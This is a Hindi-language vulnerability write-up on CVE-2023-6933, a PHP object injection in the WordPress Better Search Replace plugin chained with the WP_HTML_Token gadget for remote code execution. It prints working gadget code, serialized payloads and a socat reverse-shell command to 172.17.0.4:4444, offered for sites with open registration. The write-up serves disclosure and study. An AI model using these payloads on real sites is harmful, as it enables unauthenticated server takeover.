
CVE-2023-6933 भेद्यता का परिचय
वर्डप्रेस के लिए "Better Search Replace" प्लगइन में PHP ऑब्जेक्ट इंजेक्शन (PHP Object Injection) के रूप में जानी जाने वाली एक गंभीर भेद्यता पाई जाती है। यह सुरक्षा दोष 1.4.4 तक के सभी संस्करणों में मौजूद है। यह अविश्वसनीय इनपुट के डिसीरियलाइज़ेशन (deserialization) के कारण उत्पन्न होती है, जिससे बिना प्रमाणीकरण वाले हमलावर सिस्टम में एक PHP ऑब्जेक्ट इंजेक्ट कर सकते हैं। विशेष रूप से, प्लगइन में स्वयं PHP ऑब्जेक्ट इंजेक्शन (POI) श्रृंखला नहीं होती है। हालाँकि, यदि लक्ष्य प्रणाली पर कोई अतिरिक्त भेद्य प्लगइन या थीम स्थापित है जिसमें POI श्रृंखला शामिल है, तो यह भेद्यता संभावित रूप से हमलावरों को मनमानी फ़ाइलें हटाने, संवेदनशील डेटा तक पहुँचने या दुर्भावनापूर्ण कोड निष्पादित करने की अनुमति दे सकती है।
इस विश्लेषण में, हम वर्डप्रेस संस्करण 6.4.0 में पाई गई भेद्यता को भी शामिल करेंगे, जिसे रिमोट कोड निष्पादन (Remote Code Execution - RCE) समस्या को ठीक करने के लिए संबोधित किया गया था। इसके अलावा, हम बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त करने के लिए इन दोनों भेद्यताओं को श्रृंखलाबद्ध (chain) करने की संभावना का पता लगाएंगे।
Better Search Replace प्लगइन का वर्तमान स्थिर संस्करण जानने के लिए, निम्न कमांड का उपयोग करें:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
सबसे पहले, मैंने विश्लेषण के लिए तीन डॉकर कंटेनर सेट किए:
भेद्यता की गहरी समझ हासिल करने के लिए, मैंने "Better Search Replace" प्लगइन के GitHub रिपॉज़िटरी में विशिष्ट कमिट्स का विश्लेषण शुरू किया। ये कमिट्स भेद्यता की प्रकृति और उसके सुधारों के संबंध में महत्वपूर्ण जानकारी रख सकते हैं।

इस फ़ंक्शन में, हम निम्नलिखित पैरामीटर्स देख सकते हैं:
from: यह वह टेक्स्ट है जिसे प्रतिस्थापित किया जाना है।to: यह प्रतिस्थापन टेक्स्ट का प्रतिनिधित्व करता है।data: यह वह डेटा है जिसे प्रतिस्थापित करने की आवश्यकता है।यहाँ यह ध्यान देना महत्वपूर्ण है कि डेटा सीधे फ़ंक्शन $this->unserialize($data). को पास किया जाता है।

इसलिए, यहाँ हम देख सकते हैं कि स्ट्रिंग का डिसीरियलाइज़ेशन किया जाएगा।
यह निर्धारित करने के लिए कि data में सीरियलाइज़्ड ऑब्जेक्ट इंजेक्ट करना कहाँ संभव है, हम प्लगइन के विज़ुअल इंटरफ़ेस का पता लगाएंगे।

इसलिए हम इनमें से किसी एक टेबल में सीरियलाइज़्ड ऑब्जेक्ट रख सकते हैं, लेकिन रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए हमें एक भेद्य सीरियलाइज़्ड ऑब्जेक्ट की आवश्यकता होगी।
वर्डप्रेस संस्करण 6.4.0 में, एक PHP ऑब्जेक्ट, WP_HTML_Token, पेश किया गया था। यहाँ इसकी संरचना और शोषण की संभावना का विवरण दिया गया है:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
__destruct मेथड के भीतर call_user_func फ़ंक्शन शोषण की कुंजी है। इसके लिए आवश्यक है:
$this->on_destroy: एक कॉल करने योग्य (callable) फ़ंक्शन।
$this->bookmark_name: कॉल करने योग्य फ़ंक्शन के लिए एक तर्क।
इसका शोषण करने के लिए, मैंने main.php के अंत में निम्नलिखित पंक्तियाँ जोड़ने का प्रयास किया (नोट: सीरियलाइज़ेशन से पहले call_user_func लाइन को कमेंट कर दें):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
अब, वेबसाइट पर एक बिना प्रमाणीकरण वाली टिप्पणी जोड़कर सिद्धांत का परीक्षण करना संभव है।

डिसीरियलाइज़ेशन फ़ंक्शन को ट्रिगर करने के लिए प्लगइन का उपयोग करने का समय आ गया है।

फ़ाइल अपेक्षा के अनुसार बनाई गई, इसलिए डिसीरियलाइज़ेशन के दौरान और ऑब्जेक्ट के विनाश के दौरान RCE सही ढंग से काम करता है।

हटाई गई टिप्पणियों की स्थिरता: भले ही कोई टिप्पणी हटा दी जाए, वह डेटाबेस में 'उपयोगकर्ता को नहीं दिखाई गई' (not shown to user) के रूप में टैग की गई रहती है। हालाँकि, प्लगइन दृश्यमान और अदृश्य टिप्पणियों के बीच अंतर नहीं करता है और फिर भी ऑब्जेक्ट का डिसीरियलाइज़ेशन करता है।
ड्राई रन के दौरान डिसीरियलाइज़ेशन: डिसीरियलाइज़ेशन प्रक्रिया ड्राई रन (dry run) के दौरान भी होती है, जो सुरक्षा की दृष्टि से एक महत्वपूर्ण चूक है।
प्रारंभिक मूल्यांकन: कॉमन भेद्यता स्कोरिंग सिस्टम (CVSS) के संबंध में Wordfence का वर्गीकरण त्रुटिपूर्ण प्रतीत होता है। मेरी राय में, इसे 8.8 पर रेट किया जाना चाहिए।
संशोधित मूल्यांकन: वर्तमान CVSS स्कोर 9.8 है। हालाँकि, यह रेटिंग इस तथ्य को अनदेखा करती है कि कोड डिसीरियलाइज़ेशन होने के लिए "सही टेबल पर उपयोगकर्ता की सहभागिता आवश्यक है"। इसकी पुष्टि के लिए, मैंने शोधकर्ता सैम पिज़ी (Sam Pizzey) से संपर्क किया, जिन्होंने मेरे अवलोकन की पुष्टि की: भेद्यता के निष्पादन के लिए किसी को प्लगइन के साथ सहभागिता करनी आवश्यक है।
रिवर्स शेल तकनीकों में रुचि रखने वालों के लिए, मैंने इस प्रक्रिया को सुव्यवस्थित करने हेतु अपने पेलोड को अनुकूलित किया है। इसे उन वेबसाइटों पर लागू किया जा सकता है जहाँ पंजीकरण सभी के लिए खुला है:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
प्रोफ़ाइल में PHP ऑब्जेक्ट सम्मिलित करना

फिर मैंने आने वाले कनेक्शन की प्रतीक्षा करने के लिए एक लिसनर (listener) खोला।


अंत में, मैंने सफलतापूर्वक रिवर्स शेल कनेक्शन प्राप्त कर लिया।

यह दस्तावेज़ CVE-2023-6933 भेद्यता का विस्तृत अवलोकन प्रदान करता है, जिसमें इसका प्रभाव, तकनीकी विवरण और शमन रणनीतियाँ शामिल हैं। 'Better Search Replace' प्लगइन का उपयोग करने वाले WordPress इंस्टॉलेशन की सुरक्षा और अखंडता बनाए रखने के लिए इस भेद्यता को समझना और संबोधित करना महत्वपूर्ण है।
भेद्यता को दूर करने के लिए, Better Search Replace 1.4.4 से ऊपर के संस्करण में अपडेट करें और अपने WordPress को अपडेट करें।
लेखक: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn Profile